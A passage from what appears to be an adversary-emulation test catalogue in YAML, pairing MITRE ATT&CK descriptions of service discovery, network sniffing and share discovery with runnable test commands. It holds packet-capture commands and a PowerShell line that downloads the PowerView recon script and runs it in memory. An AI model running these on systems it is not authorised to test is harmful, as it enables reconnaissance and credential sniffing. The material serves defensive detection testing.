          default: s3CurePssw0rD!
      dependency_executor_name: sh
      dependencies:
      - description: 'Packages sssd-ad sssd-tools realmd adcli installed and realm
          available, ldapsearch

          '
        prereq_command: 'which ldapsearch

          '
        get_prereq_command: 'echo missing ldapsearch command; exit 1

          '
      executor:
        elevation_required: false
        command: "ldapsearch -H ldap://#{domain}.#{top_level_domain}:389 -x -D #{user}
          -w #{password} -b \"CN=Users,DC=#{domain},DC=#{top_level_domain}\" \"(objectClass=group)\"
          -s sub -a always -z 1000 dn \n"
        name: sh
  T1007:
    technique:
      modified: '2023-05-09T14:00:00.188Z'
      name: System Service Discovery
      description: |-
        Adversaries may try to gather information about registered local system services. Adversaries may obtain information about services using tools as well as OS utility commands such as <code>sc query</code>, <code>tasklist /svc</code>, <code>systemctl --type=service</code>, and <code>net start</code>.

        Adversaries may use the information from [System Service Discovery](https://attack.mitre.org/techniques/T1007) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: discovery
      x_mitre_contributors:
      - Harshal Tupsamudre, Qualys
      x_mitre_deprecated: false
      x_mitre_detection: |-
        System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.

        Monitor processes and command-line arguments for actions that could be taken to gather system information related to services. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).
      x_mitre_domains:
      - enterprise-attack
      x_mitre_is_subtechnique: false
      x_mitre_platforms:
      - Windows
      - macOS
      - Linux
      x_mitre_version: '1.5'
      x_mitre_data_sources:
      - 'Command: Command Execution'
      - 'Process: Process Creation'
      - 'Process: OS API Execution'
      type: attack-pattern
      id: attack-pattern--322bad5a-1c49-4d23-ab79-76d641794afa
      created: '2017-05-31T21:30:21.315Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      revoked: false
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1007
        external_id: T1007
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      x_mitre_attack_spec_version: 3.1.0
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
      identifier: T1007
    atomic_tests:
    - name: System Service Discovery
      auto_generated_guid: 89676ba1-b1f8-47ee-b940-2e1a113ebc71
      description: |
        Identify system services.

        Upon successful execution, cmd.exe will execute service commands with expected result to stdout.
      supported_platforms:
      - windows
      executor:
        command: |
          tasklist.exe
          sc query
          sc query state= all
        name: command_prompt
        elevation_required: true
    - name: System Service Discovery - net.exe
      auto_generated_guid: 5f864a3f-8ce9-45c0-812c-bdf7d8aeacc3
      description: |
        Enumerates started system services using net.exe and writes them to a file. This technique has been used by multiple threat actors.

        Upon successful execution, net.exe will run from cmd.exe that queries services. Expected output is to a txt file in in the temp directory called service-list.txt.
      supported_platforms:
      - windows
      input_arguments:
        output_file:
          description: Path of file to hold net.exe output
          type: path
          default: "%temp%\\service-list.txt"
      executor:
        command: 'net.exe start >> #{output_file}

          '
        cleanup_command: 'del /f /q /s #{output_file} >nul 2>&1

          '
        name: command_prompt
    - name: System Service Discovery - systemctl/service
      auto_generated_guid: f4b26bce-4c2c-46c0-bcc5-fce062d38bef
      description: 'Enumerates system service using systemctl/service

        '
      supported_platforms:
      - linux
      executor:
        command: 'if [ "$(uname)" = ''FreeBSD'' ]; then service -e; else systemctl
          --type=service; fi;

          '
        name: bash
  T1040:
    technique:
      modified: '2024-04-19T12:32:44.370Z'
      name: Network Sniffing
      description: |-
        Adversaries may passively sniff network traffic to capture information about an environment, including authentication material passed over the network. Network sniffing refers to using the network interface on a system to monitor or capture information sent over a wired or wireless connection. An adversary may place a network interface into promiscuous mode to passively access data in transit over the network, or use span ports to capture a larger amount of data.

        Data captured via this technique may include user credentials, especially those sent over an insecure, unencrypted protocol. Techniques for name service resolution poisoning, such as [LLMNR/NBT-NS Poisoning and SMB Relay](https://attack.mitre.org/techniques/T1557/001), can also be used to capture credentials to websites, proxies, and internal systems by redirecting traffic to an adversary.

        Network sniffing may reveal configuration details, such as running services, version numbers, and other network characteristics (e.g. IP addresses, hostnames, VLAN IDs) necessary for subsequent [Lateral Movement](https://attack.mitre.org/tactics/TA0008) and/or [Defense Evasion](https://attack.mitre.org/tactics/TA0005) activities. Adversaries may likely also utilize network sniffing during [Adversary-in-the-Middle](https://attack.mitre.org/techniques/T1557) (AiTM) to passively gain additional knowledge about the environment.

        In cloud-based environments, adversaries may still be able to use traffic mirroring services to sniff network traffic from virtual machines. For example, AWS Traffic Mirroring, GCP Packet Mirroring, and Azure vTap allow users to define specified instances to collect traffic from and specified targets to send collected traffic to.(Citation: AWS Traffic Mirroring)(Citation: GCP Packet Mirroring)(Citation: Azure Virtual Network TAP) Often, much of this traffic will be in cleartext due to the use of TLS termination at the load balancer level to reduce the strain of encrypting and decrypting traffic.(Citation: Rhino Security Labs AWS VPC Traffic Mirroring)(Citation: SpecterOps AWS Traffic Mirroring) The adversary can then use exfiltration techniques such as Transfer Data to Cloud Account in order to access the sniffed traffic.(Citation: Rhino Security Labs AWS VPC Traffic Mirroring)

        On network devices, adversaries may perform network captures using [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) commands such as `monitor capture`.(Citation: US-CERT-TA18-106A)(Citation: capture_embedded_packet_on_software)
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: credential-access
      - kill_chain_name: mitre-attack
        phase_name: discovery
      x_mitre_contributors:
      - Oleg Kolesnikov, Securonix
      - Tiago Faria, 3CORESec
      - Austin Clark, @c2defense
      - Itamar Mizrahi, Cymptom
      - Eliraz Levi, Hunters
      x_mitre_deprecated: false
      x_mitre_detection: |-
        Detecting the events leading up to sniffing network traffic may be the best method of detection. From the host level, an adversary would likely need to perform a [Adversary-in-the-Middle](https://attack.mitre.org/techniques/T1557) attack against other devices on a wired network in order to capture traffic that was not to or from the current compromised system. This change in the flow of information is detectable at the enclave network level. Monitor for ARP spoofing and gratuitous ARP broadcasts. Detecting compromised network devices is a bit more challenging. Auditing administrator logins, configuration changes, and device images is required to detect malicious changes.

        In cloud-based environments, monitor for the creation of new traffic mirrors or modification of existing traffic mirrors. For network infrastructure devices, collect AAA logging to monitor for the capture of network traffic.
      x_mitre_domains:
      - enterprise-attack
      x_mitre_is_subtechnique: false
      x_mitre_platforms:
      - Linux
      - macOS
      - Windows
      - Network
      - IaaS
      x_mitre_version: '1.6'
      x_mitre_data_sources:
      - 'Command: Command Execution'
      - 'Process: Process Creation'
      x_mitre_system_requirements:
      - Network interface access and packet capture driver
      type: attack-pattern
      id: attack-pattern--3257eb21-f9a7-4430-8de1-d8b6e288f529
      created: '2017-05-31T21:30:41.399Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      revoked: false
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1040
        external_id: T1040
      - source_name: AWS Traffic Mirroring
        description: Amazon Web Services. (n.d.). How Traffic Mirroring works. Retrieved
          March 17, 2022.
        url: https://docs.aws.amazon.com/vpc/latest/mirroring/traffic-mirroring-how-it-works.html
      - source_name: capture_embedded_packet_on_software
        description: Cisco. (2022, August 17). Configure and Capture Embedded Packet
          on Software. Retrieved July 13, 2022.
        url: https://www.cisco.com/c/en/us/support/docs/ios-nx-os-software/ios-embedded-packet-capture/116045-productconfig-epc-00.html
      - source_name: GCP Packet Mirroring
        description: Google Cloud. (n.d.). Packet Mirroring overview. Retrieved March
          17, 2022.
        url: https://cloud.google.com/vpc/docs/packet-mirroring
      - source_name: SpecterOps AWS Traffic Mirroring
        description: Luke Paine. (2020, March 11). Through the Looking Glass — Part
          1. Retrieved March 17, 2022.
        url: https://posts.specterops.io/through-the-looking-glass-part-1-f539ae308512
      - source_name: Azure Virtual Network TAP
        description: Microsoft. (2022, February 9). Virtual network TAP. Retrieved
          March 17, 2022.
        url: https://docs.microsoft.com/en-us/azure/virtual-network/virtual-network-tap-overview
      - source_name: Rhino Security Labs AWS VPC Traffic Mirroring
        description: Spencer Gietzen. (2019, September 17). Abusing VPC Traffic Mirroring
          in AWS. Retrieved March 17, 2022.
        url: https://rhinosecuritylabs.com/aws/abusing-vpc-traffic-mirroring-in-aws/
      - source_name: US-CERT-TA18-106A
        description: US-CERT. (2018, April 20). Alert (TA18-106A) Russian State-Sponsored
          Cyber Actors Targeting Network Infrastructure Devices. Retrieved October
          19, 2020.
        url: https://www.us-cert.gov/ncas/alerts/TA18-106A
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      x_mitre_attack_spec_version: 3.2.0
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
      identifier: T1040
    atomic_tests:
    - name: Packet Capture Linux using tshark or tcpdump
      auto_generated_guid: 7fe741f7-b265-4951-a7c7-320889083b3e
      description: |
        Perform a PCAP. Wireshark will be required for tshark. TCPdump may already be installed.

        Upon successful execution, tshark or tcpdump will execute and capture 5 packets on interface ens33.
      supported_platforms:
      - linux
      input_arguments:
        interface:
          description: Specify interface to perform PCAP on.
          type: string
          default: ens33
      dependency_executor_name: bash
      dependencies:
      - description: 'Check if at least one of tcpdump or tshark is installed.

          '
        prereq_command: 'if [ ! -x "$(command -v tcpdump)" ] && [ ! -x "$(command
          -v tshark)" ]; then exit 1; else exit 0; fi;

          '
        get_prereq_command: "(which yum && yum -y install epel-release tcpdump tshark)||(which
          apt-get && DEBIAN_FRONTEND=noninteractive apt-get install -y tcpdump tshark)\n"
      executor:
        command: |
          tcpdump -c 5 -nnni #{interface}
          tshark -c 5 -i #{interface}
        name: bash
        elevation_required: true
    - name: Packet Capture FreeBSD using tshark or tcpdump
      auto_generated_guid: c93f2492-9ebe-44b5-8b45-36574cccfe67
      description: |
        Perform a PCAP. Wireshark will be required for tshark. TCPdump may already be installed.

        Upon successful execution, tshark or tcpdump will execute and capture 5 packets on interface ens33.
      supported_platforms:
      - linux
      input_arguments:
        interface:
          description: Specify interface to perform PCAP on.
          type: string
          default: em0
      dependency_executor_name: sh
      dependencies:
      - description: 'Check if at least one of tcpdump or tshark is installed.

          '
        prereq_command: 'if [ ! -x "$(command -v tcpdump)" ] && [ ! -x "$(command
          -v tshark)" ]; then exit 1; else exit 0; fi;

          '
        get_prereq_command: "(which pkg && pkg install -y wireshark-nox11)\n"
      executor:
        command: |
          tcpdump -c 5 -nnni #{interface}
          tshark -c 5 -i #{interface}
        name: sh
        elevation_required: true
    - name: Packet Capture macOS using tcpdump or tshark
      auto_generated_guid: 9d04efee-eff5-4240-b8d2-07792b873608
      description: |
        Perform a PCAP on macOS. This will require Wireshark/tshark to be installed. TCPdump may already be installed.

        Upon successful execution, tshark or tcpdump will execute and capture 5 packets on interface en0A.
      supported_platforms:
      - macos
      input_arguments:
        interface:
          description: Specify interface to perform PCAP on.
          type: string
          default: en0A
      dependency_executor_name: bash
      dependencies:
      - description: 'Check if at least one of tcpdump or tshark is installed.

          '
        prereq_command: 'if [ ! -x "$(command -v tcpdump)" ] && [ ! -x "$(command
          -v tshark)" ]; then exit 1; else exit 0; fi;

          '
        get_prereq_command: "(which yum && yum -y install epel-release tcpdump tshark)||(which
          apt-get && DEBIAN_FRONTEND=noninteractive apt-get install -y tcpdump tshark)\n"
      executor:
        command: "sudo tcpdump -c 5 -nnni #{interface}    \nif [ -x \"$(command -v
          tshark)\" ]; then sudo tshark -c 5 -i #{interface}; fi;\n"
        name: bash
        elevation_required: true
    - name: Packet Capture Windows Command Prompt
      auto_generated_guid: a5b2f6a0-24b4-493e-9590-c699f75723ca
      description: |
        Perform a packet capture using the windows command prompt. This will require a host that has Wireshark/Tshark
        installed.

        Upon successful execution, tshark will execute and capture 5 packets on interface "Ethernet".
      supported_platforms:
      - windows
      input_arguments:
        interface:
          description: Specify interface to perform PCAP on.
          type: string
          default: Ethernet
        wireshark_url:
          description: wireshark installer download URL
          type: url
          default: https://1.eu.dl.wireshark.org/win64/Wireshark-latest-x64.exe
        tshark_path:
          description: path to tshark.exe
          type: path
          default: c:\program files\wireshark\tshark.exe
        npcap_url:
          description: npcap installed download URL
          type: url
          default: https://nmap.org/npcap/dist/npcap-1.31.exe
        npcap_path:
          description: path to npcap.sys
          type: path
          default: C:\Program Files\Npcap\npcap.sys
      dependency_executor_name: powershell
      dependencies:
      - description: 'tshark must be installed and in the default path of "c:\Program
          Files\Wireshark\Tshark.exe".

          '
        prereq_command: if (test-path "#{tshark_path}") {exit 0} else {exit 1}
        get_prereq_command: |
          New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null
          Invoke-WebRequest -OutFile "PathToAtomicsFolder\..\ExternalPayloads\wireshark_installer.exe" #{wireshark_url}
          Start-Process "PathToAtomicsFolder\..\ExternalPayloads\wireshark_installer.exe" /S
      - description: 'npcap must be installed.

          '
        prereq_command: if (test-path "#{npcap_path}") {exit 0} else {exit 1}
        get_prereq_command: |
          New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null
          Invoke-WebRequest -OutFile "PathToAtomicsFolder\..\ExternalPayloads\npcap_installer.exe" #{npcap_url}
          Start-Process "PathToAtomicsFolder\..\ExternalPayloads\npcap_installer.exe"
      executor:
        command: '"c:\Program Files\Wireshark\tshark.exe" -i #{interface} -c 5

          '
        name: command_prompt
        elevation_required: true
    - name: Windows Internal Packet Capture
      auto_generated_guid: b5656f67-d67f-4de8-8e62-b5581630f528
      description: |-
        Uses the built-in Windows packet capture
        After execution you should find a file named trace.etl and trace.cab in the temp directory
      supported_platforms:
      - windows
      executor:
        command: netsh trace start capture=yes tracefile=%temp%\trace.etl maxsize=10
        cleanup_command: |-
          netsh trace stop >nul 2>&1
          TIMEOUT /T 5 >nul 2>&1
          del %temp%\trace.etl >nul 2>&1
          del %temp%\trace.cab >nul 2>&1
        name: command_prompt
        elevation_required: true
    - name: Windows Internal pktmon capture
      auto_generated_guid: c67ba807-f48b-446e-b955-e4928cd1bf91
      description: |-
        Will start a packet capture and store log file as t1040.etl.
        https://lolbas-project.github.io/lolbas/Binaries/Pktmon/
      supported_platforms:
      - windows
      executor:
        command: |
          pktmon.exe start --etw  -f %TEMP%\t1040.etl
          TIMEOUT /T 5 >nul 2>&1
          pktmon.exe stop
        cleanup_command: del %TEMP%\t1040.etl
        name: command_prompt
        elevation_required: true
    - name: Windows Internal pktmon set filter
      auto_generated_guid: 855fb8b4-b8ab-4785-ae77-09f5df7bff55
      description: "Select Desired ports for packet capture \nhttps://lolbas-project.github.io/lolbas/Binaries/Pktmon/"
      supported_platforms:
      - windows
      executor:
        command: 'pktmon.exe filter add -p 445

          '
        cleanup_command: pktmon filter remove
        name: command_prompt
        elevation_required: true
    - name: Packet Capture macOS using /dev/bpfN with sudo
      auto_generated_guid: e6fe5095-545d-4c8b-a0ae-e863914be3aa
      description: 'Opens a /dev/bpf file (O_RDONLY) and captures packets for a few
        seconds.

        '
      supported_platforms:
      - macos
      input_arguments:
        ifname:
          description: Specify interface to perform PCAP on.
          type: string
          default: en0
        csource_path:
          description: Path to C program source
          type: string
          default: PathToAtomicsFolder/T1040/src/macos_pcapdemo.c
        program_path:
          description: Path to compiled C program
          type: string
          default: "/tmp/t1040_macos_pcapdemo"
      dependency_executor_name: bash
      dependencies:
      - description: 'compile C program

          '
        prereq_command: 'exit 1

          '
        get_prereq_command: 'cc #{csource_path} -o #{program_path}

          '
      executor:
        command: 'sudo #{program_path} -i #{ifname} -t 3

          '
        cleanup_command: 'rm -f #{program_path}

          '
        name: bash
        elevation_required: true
    - name: Filtered Packet Capture macOS using /dev/bpfN with sudo
      auto_generated_guid: e2480aee-23f3-4f34-80ce-de221e27cd19
      description: 'Opens a /dev/bpf file (O_RDONLY), sets BPF filter for ''udp''
        and captures packets for a few seconds.

        '
      supported_platforms:
      - macos
      input_arguments:
        ifname:
          description: Specify interface to perform PCAP on.
          type: string
          default: en0
        csource_path:
          description: Path to C program source
          type: string
          default: PathToAtomicsFolder/T1040/src/macos_pcapdemo.c
        program_path:
          description: Path to compiled C program
          type: string
          default: "/tmp/t1040_macos_pcapdemo"
      dependency_executor_name: bash
      dependencies:
      - description: 'compile C program

          '
        prereq_command: 'exit 1

          '
        get_prereq_command: 'cc #{csource_path} -o #{program_path}

          '
      executor:
        command: 'sudo #{program_path} -f -i #{ifname} -t 3

          '
        cleanup_command: 'rm -f #{program_path}

          '
        name: bash
        elevation_required: true
    - name: Packet Capture FreeBSD using /dev/bpfN with sudo
      auto_generated_guid: e2028771-1bfb-48f5-b5e6-e50ee0942a14
      description: 'Opens a /dev/bpf file (O_RDONLY) and captures packets for a few
        seconds.

        '
      supported_platforms:
      - linux
      input_arguments:
        ifname:
          description: Specify interface to perform PCAP on.
          type: string
          default: em0
        csource_path:
          description: Path to C program source
          type: string
          default: PathToAtomicsFolder/T1040/src/freebsd_pcapdemo.c
        program_path:
          description: Path to compiled C program
          type: string
          default: "/tmp/t1040_freebsd_pcapdemo"
      dependency_executor_name: sh
      dependencies:
      - description: 'compile C program

          '
        prereq_command: 'exit 1

          '
        get_prereq_command: 'cc #{csource_path} -o #{program_path}

          '
      executor:
        command: 'sudo #{program_path} -i #{ifname} -t 3

          '
        cleanup_command: 'rm -f #{program_path}

          '
        name: sh
        elevation_required: true
    - name: Filtered Packet Capture FreeBSD using /dev/bpfN with sudo
      auto_generated_guid: a3a0d4c9-c068-4563-a08d-583bd05b884c
      description: 'Opens a /dev/bpf file (O_RDONLY), sets BPF filter for ''udp''
        and captures packets for a few seconds.

        '
      supported_platforms:
      - linux
      input_arguments:
        ifname:
          description: Specify interface to perform PCAP on.
          type: string
          default: em0
        csource_path:
          description: Path to C program source
          type: string
          default: PathToAtomicsFolder/T1040/src/freebsd_pcapdemo.c
        program_path:
          description: Path to compiled C program
          type: string
          default: "/tmp/t1040_freebsd_pcapdemo"
      dependency_executor_name: sh
      dependencies:
      - description: 'compile C program

          '
        prereq_command: 'exit 1

          '
        get_prereq_command: 'cc #{csource_path} -o #{program_path}

          '
      executor:
        command: 'sudo #{program_path} -f -i #{ifname} -t 3

          '
        cleanup_command: 'rm -f #{program_path}

          '
        name: sh
        elevation_required: true
    - name: Packet Capture Linux socket AF_PACKET,SOCK_RAW with sudo
      auto_generated_guid: 10c710c9-9104-4d5f-8829-5b65391e2a29
      description: 'Captures packets with domain=AF_PACKET, type=SOCK_RAW for a few
        seconds.

        '
      supported_platforms:
      - linux
      input_arguments:
        csource_path:
          description: Path to C program source
          type: string
          default: PathToAtomicsFolder/T1040/src/linux_pcapdemo.c
        program_path:
          description: Path to compiled C program
          type: string
          default: "/tmp/t1040_linux_pcapdemo"
      dependency_executor_name: bash
      dependencies:
      - description: 'compile C program

          '
        prereq_command: 'if [ -f "#{program_path}" ]; then exit 0; else exit 1; fi

          '
        get_prereq_command: 'cc #{csource_path} -o #{program_path}

          '
      executor:
        command: 'sudo #{program_path} -a -t 3

          '
        cleanup_command: 'rm -f #{program_path}

          '
        name: bash
        elevation_required: true
    - name: Packet Capture Linux socket AF_INET,SOCK_RAW,TCP with sudo
      auto_generated_guid: 7a0895f0-84c1-4adf-8491-a21510b1d4c1
      description: 'Captures packets with domain=AF_INET,type=SOCK_RAW,protocol=TCP
        for a few seconds.

        '
      supported_platforms:
      - linux
      input_arguments:
        csource_path:
          description: Path to C program source
          type: string
          default: PathToAtomicsFolder/T1040/src/linux_pcapdemo.c
        program_path:
          description: Path to compiled C program
          type: string
          default: "/tmp/t1040_linux_pcapdemo"
      dependency_executor_name: bash
      dependencies:
      - description: 'compile C program

          '
        prereq_command: 'if [ -f "#{program_path}" ]; then exit 0; else exit 1; fi

          '
        get_prereq_command: 'cc #{csource_path} -o #{program_path}

          '
      executor:
        command: 'sudo #{program_path} -4 -p 6 -t 3

          '
        cleanup_command: 'rm -f #{program_path}

          '
        name: bash
        elevation_required: true
    - name: Packet Capture Linux socket AF_INET,SOCK_PACKET,UDP with sudo
      auto_generated_guid: 515575ab-d213-42b1-aa64-ef6a2dd4641b
      description: |
        Captures packets with domain=AF_INET,type=SOCK_PACKET,protocol=UDP for a few seconds.
        SOCK_PACKET is "obsolete" according to the man page, but still works on Ubuntu 20.04
      supported_platforms:
      - linux
      input_arguments:
        csource_path:
          description: Path to C program source
          type: string
          default: PathToAtomicsFolder/T1040/src/linux_pcapdemo.c
        program_path:
          description: Path to compiled C program
          type: string
          default: "/tmp/t1040_linux_pcapdemo"
      dependency_executor_name: bash
      dependencies:
      - description: 'compile C program

          '
        prereq_command: 'if [ -f "#{program_path}" ]; then exit 0; else exit 1; fi

          '
        get_prereq_command: 'cc #{csource_path} -o #{program_path}

          '
      executor:
        command: 'sudo #{program_path} -4 -P -p 17 -t 3

          '
        cleanup_command: 'rm -f #{program_path}

          '
        name: bash
        elevation_required: true
    - name: Packet Capture Linux socket AF_PACKET,SOCK_RAW with BPF filter for UDP
        with sudo
      auto_generated_guid: b1cbdf8b-6078-48f5-a890-11ea19d7f8e9
      description: |
        Captures packets with domain=AF_PACKET,type=SOCK_RAW for a few seconds.
        Sets a BPF filter on the socket to filter for UDP traffic.
      supported_platforms:
      - linux
      input_arguments:
        csource_path:
          description: Path to C program source
          type: string
          default: PathToAtomicsFolder/T1040/src/linux_pcapdemo.c
        program_path:
          description: Path to compiled C program
          type: string
          default: "/tmp/t1040_linux_pcapdemo"
      dependency_executor_name: bash
      dependencies:
      - description: 'compile C program

          '
        prereq_command: 'if [ -f "#{program_path}" ]; then exit 0; else exit 1; fi

          '
        get_prereq_command: 'cc #{csource_path} -o #{program_path}

          '
      executor:
        command: 'sudo #{program_path} -a -f -t 3

          '
        cleanup_command: 'rm -f #{program_path}

          '
        name: bash
        elevation_required: true
    - name: PowerShell Network Sniffing
      auto_generated_guid: 9c15a7de-de14-46c3-bc2a-6d94130986ae
      description: |-
        PowerShell Built-in Cmdlets to capture network traffic.
        https://learn.microsoft.com/en-us/powershell/module/neteventpacketcapture/new-neteventsession?view=windowsserver2022-ps
      supported_platforms:
      - windows
      executor:
        command: |
          New-NetEventSession -Name Capture007 -LocalFilePath "$ENV:Temp\sniff.etl"
          Add-NetEventPacketCaptureProvider -SessionName Capture007 -TruncationLength 100
          Start-NetEventSession -Name Capture007
          Stop-NetEventSession -Name Capture007
          Remove-NetEventSession -Name Capture007
        cleanup_command: del $ENV:Temp\sniff.etl
        name: powershell
        elevation_required: true
  T1135:
    technique:
      modified: '2023-09-29T19:44:43.870Z'
      name: Network Share Discovery
      description: "Adversaries may look for folders and drives shared on remote systems
        as a means of identifying sources of information to gather as a precursor
        for Collection and to identify potential systems of interest for Lateral Movement.
        Networks often contain shared network drives and folders that enable users
        to access file directories on various systems across a network. \n\nFile sharing
        over a Windows network occurs over the SMB protocol. (Citation: Wikipedia
        Shared Resource) (Citation: TechNet Shared Folder) [Net](https://attack.mitre.org/software/S0039)
        can be used to query a remote system for available shared drives using the
        <code>net view \\\\\\\\remotesystem</code> command. It can also be used to
        query shared drives on the local system using <code>net share</code>. For
        macOS, the <code>sharing -l</code> command lists all shared points used for
        smb services."
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: discovery
      x_mitre_contributors:
      - Praetorian
      x_mitre_deprecated: false
      x_mitre_detection: |-
        System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.

        Normal, benign system and network events related to legitimate remote system discovery may be uncommon, depending on the environment and how they are used. Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).
      x_mitre_domains:
      - enterprise-attack
      x_mitre_is_subtechnique: false
      x_mitre_platforms:
      - macOS
      - Windows
      - Linux
      x_mitre_version: '3.2'
      x_mitre_data_sources:
      - 'Process: OS API Execution'
      - 'Command: Command Execution'
      - 'Process: Process Creation'
      type: attack-pattern
      id: attack-pattern--3489cfc5-640f-4bb3-a103-9137b97de79f
      created: '2017-12-14T16:46:06.044Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      revoked: false
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1135
        external_id: T1135
      - source_name: TechNet Shared Folder
        description: Microsoft. (n.d.). Share a Folder or Drive. Retrieved June 30,
          2017.
        url: https://technet.microsoft.com/library/cc770880.aspx
      - source_name: Wikipedia Shared Resource
        description: Wikipedia. (2017, April 15). Shared resource. Retrieved June
          30, 2017.
        url: https://en.wikipedia.org/wiki/Shared_resource
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      x_mitre_attack_spec_version: 3.2.0
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
      identifier: T1135
    atomic_tests:
    - name: Network Share Discovery
      auto_generated_guid: f94b5ad9-911c-4eff-9718-fd21899db4f7
      description: 'Network Share Discovery

        '
      supported_platforms:
      - macos
      input_arguments:
        computer_name:
          description: Computer name to find a mount on.
          type: string
          default: computer1
      executor:
        command: |
          df -aH
          smbutil view -g //#{computer_name}
          showmount #{computer_name}
        name: sh
    - name: Network Share Discovery - linux
      auto_generated_guid: 875805bc-9e86-4e87-be86-3a5527315cae
      description: 'Network Share Discovery using smbstatus

        '
      supported_platforms:
      - linux
      input_arguments:
        package_checker:
          description: Package checking command. Debian - dpkg -s samba
          type: string
          default: "(rpm -q samba &>/dev/null) || (dpkg -s samba | grep -q installed)"
        package_installer:
          description: Package installer command. Debian - apt install samba
          type: string
          default: "(which yum && yum -y install epel-release samba)||(which apt-get
            && DEBIAN_FRONTEND=noninteractive apt-get install -y samba)"
      dependency_executor_name: bash
      dependencies:
      - description: 'Package with smbstatus (samba) must exist on device

          '
        prereq_command: 'if #{package_checker} > /dev/null; then exit 0; else exit
          1; fi

          '
        get_prereq_command: "sudo #{package_installer} \n"
      executor:
        command: 'sudo smbstatus --shares

          '
        name: bash
        elevation_required: true
    - name: Network Share Discovery - FreeBSD
      auto_generated_guid: 77e468a6-3e5c-45a1-9948-c4b5603747cb
      description: 'Network Share Discovery using smbstatus

        '
      supported_platforms:
      - linux
      input_arguments:
        package_checker:
          description: Package checking command. pkg info -x samba
          type: string
          default: "(pkg info -x samba &>/dev/null)"
        package_installer:
          description: Package installer command. pkg install -y samba413
          type: string
          default: "(which pkg && pkg install -y samba413)"
      dependency_executor_name: sh
      dependencies:
      - description: 'Package with smbstatus (samba) must exist on device

          '
        prereq_command: 'if #{package_checker} > /dev/null; then exit 0; else exit
          1; fi

          '
        get_prereq_command: "#{package_installer} \n"
      executor:
        command: 'smbstatus --shares

          '
        name: sh
        elevation_required: true
    - name: Network Share Discovery command prompt
      auto_generated_guid: 20f1097d-81c1-405c-8380-32174d493bbb
      description: |
        Network Share Discovery utilizing the command prompt. The computer name variable may need to be modified to point to a different host
        Upon execution avalaible network shares will be displayed in the powershell session
      supported_platforms:
      - windows
      input_arguments:
        computer_name:
          description: Computer name to find a mount on.
          type: string
          default: localhost
      executor:
        command: 'net view \\#{computer_name}

          '
        name: command_prompt
    - name: Network Share Discovery PowerShell
      auto_generated_guid: 1b0814d1-bb24-402d-9615-1b20c50733fb
      description: |
        Network Share Discovery utilizing PowerShell. The computer name variable may need to be modified to point to a different host
        Upon execution, avalaible network shares will be displayed in the powershell session
      supported_platforms:
      - windows
      executor:
        command: 'get-smbshare

          '
        name: powershell
    - name: View available share drives
      auto_generated_guid: ab39a04f-0c93-4540-9ff2-83f862c385ae
      description: View information about all of the resources that are shared on
        the local computer Upon execution, avalaible share drives will be displayed
        in the powershell session
      supported_platforms:
      - windows
      executor:
        command: 'net share

          '
        name: command_prompt
    - name: Share Discovery with PowerView
      auto_generated_guid: b1636f0a-ba82-435c-b699-0d78794d8bfd
      description: 'Enumerate Domain Shares the current user has access. Upon execution,
        progress info about each share being scanned will be displayed.

        '
      supported_platforms:
      - windows
      dependency_executor_name: powershell
      dependencies:
      - description: 'Endpoint must be joined to domain

          '
        prereq_command: 'if ((Get-WmiObject -Class Win32_ComputerSystem).PartofDomain)
          {exit 0} else {exit 1}

          '
        get_prereq_command: '"Join system to domain"

          '
      executor:
        command: |
          [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
          IEX (IWR 'https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/f94a5d298a1b4c5dfb1f30a246d9c73d13b22888/Recon/PowerView.ps1' -UseBasicParsing); Find-DomainShare -CheckShareAccess -Verbose
        name: powershell
    - name: PowerView ShareFinder
      auto_generated_guid: d07e4cc1-98ae-447e-9d31-36cb430d28c4
      description: PowerView is a PowerShell tool to gain network situational awareness
        on Windows domains. ShareFinder finds (non-standard) shares on machines in
        the domain.
      supported_platforms:
      - windows
      input_arguments:
        parameters:
          description: ShareFinder parameter
          type: string
          default: "-CheckShareAccess"
      dependencies:
      - description: Invoke-ShareFinder module must exist in %TEMP% directory
        prereq_command: 'if (Test-Path "PathToAtomicsFolder\..\ExternalPayloads\PowerView.ps1")
          {exit 0} else {exit 1}

          '
        get_prereq_command: |
